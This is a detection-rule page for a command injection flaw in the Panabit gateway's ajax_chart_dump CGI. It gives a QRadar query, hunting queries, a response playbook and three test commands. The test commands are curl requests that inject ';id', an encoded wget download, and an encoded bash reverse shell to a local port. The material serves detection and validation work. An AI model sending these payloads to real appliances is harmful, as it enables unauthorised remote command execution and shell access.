Detect Panabit Smart Application Gateway ajax_chart_dump Command Injection (CVE-2026-135790) in IBM QRadar
Detects exploitation attempts against CVE-2026-135790, an OS command injection (CWE-77, CWE-78) vulnerability in the Panabit Smart Application Gateway (TANGr7p10) CGI endpoint /cgi-bin/dashboard/ajax_chart_dump. An authenticated attacker can manipulate the isntmeye parameter passed to the dashboard chart dump handler to inject shell metacharacters, resulting in remote command execution on the appliance (CVSS 8.6). A public exploit exists. Detection focuses on HTTP requests to the vulnerable CGI path carrying shell metacharacters or command-injection markers, and on anomalous child processes spawned by the CGI/web server process tree on the appliance.
Based on nenghun IoT Panabit RCE1 write-up
MITRE ATT&CK
- Tactic
- Initial Access Execution
QRadar Detection Query
-- df00tech DF00-ad01bf4a7a · https://df00tech.com/detections/CVE-2026-135790 · licence: https://df00tech.com/detections/licence
SELECT sourceip, destinationip, "URL" AS url, "httpMethod", "httpResponseCode", "userAgent", eventcount
FROM events
WHERE ("URL" ILIKE '%/cgi-bin/dashboard/ajax_chart_dump%' OR "URL" ILIKE '%ajax_chart_dump%')
AND ("URL" IMATCHES '.*(;|\||`|\$\(|%3b|%7c|%60|wget|curl|/bin/(sh|bash)|\$\{IFS\}|bash\s+-i).*')
GROUP BY sourceip, "URL"
ORDER BY eventcount DESC
LAST 24 HOURS QRadar AQL query returning events targeting the Panabit ajax_chart_dump CGI endpoint with command-injection markers in the URL over the last 24 hours.
Data Sources
Required Tables
False Positives & Tuning
- Scheduled vulnerability scans
- Monitoring systems that encode special characters
- Authorized security testing
Other platforms for CVE-2026-135790
Testing Methodology
Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are further down this page.
- Test 1 Command injection probe via ajax_chart_dump query parameter
Expected signal: Web/CGI access log entry to /cgi-bin/dashboard/ajax_chart_dump containing ';id' in the query string.
- Test 2 URL-encoded command injection payload
Expected signal: Web log entry with encoded %7C (pipe) and wget marker in the ajax_chart_dump query.
- Test 3 Reverse-shell style injection attempt
Expected signal: Web log entry containing 'bash -i' pattern; on the appliance, a shell child process under the web server and an outbound TCP connection.
Response Playbook
Triage
- Confirm the targeted host is a Panabit Smart Application Gateway running TANGr7p10 and that /cgi-bin/dashboard/ajax_chart_dump is network-reachable.
- Extract the full request URI/query and URL-decode it to identify the injected command payload and shell metacharacters.
- Determine the source IP reputation and whether the request succeeded (HTTP 200 vs blocked/error), and correlate with any outbound connections from the appliance immediately afterward.
- Check whether the same source IP hit other sensitive CGI endpoints or repeated the request (brute/spray pattern).
Containment
- Block the attacker source IP(s) at the perimeter firewall/WAF and apply a WAF rule denying shell metacharacters on /cgi-bin/dashboard/ajax_chart_dump.
- Isolate the appliance from untrusted networks and restrict management/dashboard access to a trusted admin VLAN or VPN until patched.
- If compromise is confirmed, take the appliance offline and failover to a known-good or redundant gateway.
Evidence Collection
- Preserve web/CGI access logs, appliance shell history, cron tables, and /tmp artifacts from the gateway.
- Capture the appliance process list, network connections, and any newly created files or modified CGI scripts for forensic imaging.
Escalation Criteria
- !Escalate to incident response if the injection request returned HTTP 200 with command output or if the appliance made unexpected outbound connections (reverse shell / tool download).
- !Escalate if new user accounts, persistence (cron/rc), or modified system binaries are discovered on the appliance.
Investigation Guide
Forensic Artifacts
- >
Web/CGI access log entries to /cgi-bin/dashboard/ajax_chart_dump containing shell metacharacters - >
Anomalous child processes (sh, wget, curl, nc) under the web server process tree - >
New or modified files in /tmp, cron entries, and shell history on the appliance
Tuning Guidance
Baseline legitimate dashboard chart-dump usage from known admin IPs and exclude those sources. If the appliance front-ends a WAF that normalizes/encodes parameters, adjust the metacharacter regex to match the post-normalization form. Tighten severity to critical only when the request returns HTTP 200 with a non-trivial response body, and pair the web-layer signal with the EDR process-tree signal to reduce scanner-driven noise.
Hunting Queries
Surface source IPs repeatedly hitting the ajax_chart_dump endpoint, indicating scanning or exploitation attempts.
// df00tech DF00-ad01bf4a7a · https://df00tech.com/detections/CVE-2026-135790 · licence: https://df00tech.com/detections/licence
W3CIISLog | where csUriStem has "ajax_chart_dump" | summarize count(), make_set(csUriQuery) by cIP | where count_ > 5 ``` df00tech DF00-ad01bf4a7a · https://df00tech.com/detections/CVE-2026-135790 · licence: https://df00tech.com/detections/licence ```
index=web uri="*ajax_chart_dump*" | stats count values(uri_query) as queries by src_ip | where count>5 Atomic Red Team Tests
Simulates an attacker injecting a shell command through a parameter to the vulnerable CGI endpoint using a semicolon separator.
Command
curl -sk 'https://TARGET/cgi-bin/dashboard/ajax_chart_dump?chart=1;id' Cleanup
echo 'no cleanup required (read-only probe)' Expected Telemetry
Web/CGI access log entry to /cgi-bin/dashboard/ajax_chart_dump containing ';id' in the query string.
Expected Detection
KQL/SPL web-layer rules fire on the shell metacharacter in the ajax_chart_dump request.
Sends a URL-encoded pipe-and-command payload to evade naive filters.
Command
curl -sk 'https://TARGET/cgi-bin/dashboard/ajax_chart_dump?chart=1%7Cwget%20http%3A%2F%2F127.0.0.1%2Fx' Cleanup
rm -f ./x 2>/dev/null; echo done Expected Telemetry
Web log entry with encoded %7C (pipe) and wget marker in the ajax_chart_dump query.
Expected Detection
Detection rules match the encoded metacharacter / wget marker regex.
Attempts to inject a bash reverse shell command through the vulnerable parameter (lab only).
Command
curl -sk 'https://TARGET/cgi-bin/dashboard/ajax_chart_dump?chart=1;bash%20-i%20%3E%26%2Fdev%2Ftcp%2F127.0.0.1%2F4444%200%3E%261' Cleanup
echo 'terminate any test listener manually' Expected Telemetry
Web log entry containing 'bash -i' pattern; on the appliance, a shell child process under the web server and an outbound TCP connection.
Expected Detection
Web-layer rules match 'bash -i'; CrowdStrike CQL process-tree hunt flags the shell spawned by the web/CGI process.